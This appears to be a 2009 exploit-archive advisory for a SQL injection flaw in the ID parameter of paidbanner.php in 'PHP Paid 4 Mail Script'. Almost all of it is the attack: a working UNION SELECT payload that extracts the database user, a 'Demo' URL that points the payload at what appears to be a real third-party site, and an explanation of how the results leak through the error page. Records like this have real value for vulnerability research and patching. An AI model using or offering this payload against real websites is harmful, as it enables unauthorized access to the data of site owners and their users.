[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PHP Paid 4 Mail Script (paidbanner.php ID) SQL Injection Vulnerability
# Published : 2009-07-28
# Author : ThE g0bL!N
# Previous Title : linkSpheric 0.74b6 (listID) Remote SQL Injection Vulnerability
# Next Title : phpArcadeScript 4.0 (linkout.php id) SQL Injection Vulnerability
###########################################################################################
[+] PHP Paid 4 Mail Script (ID) SQL Injection Vulnerability
[+] Discovered By ThE g0bL!N
[+] http://www.h4ckf0ru.com & http://sec-art.com/cc/
############################################################################################
[+]Homepage : http://www.shop-020.de
[+] Exploit: /paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--
[+] Demo: http://www.city-demo.at/mail/paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--
[+] Note : You can see the information like this "The requested URL /mail/[INFORMATION SQL] was not found on this server."
-------------------------------------------------------------------------------------------
# www.Syue.com [2009-07-28]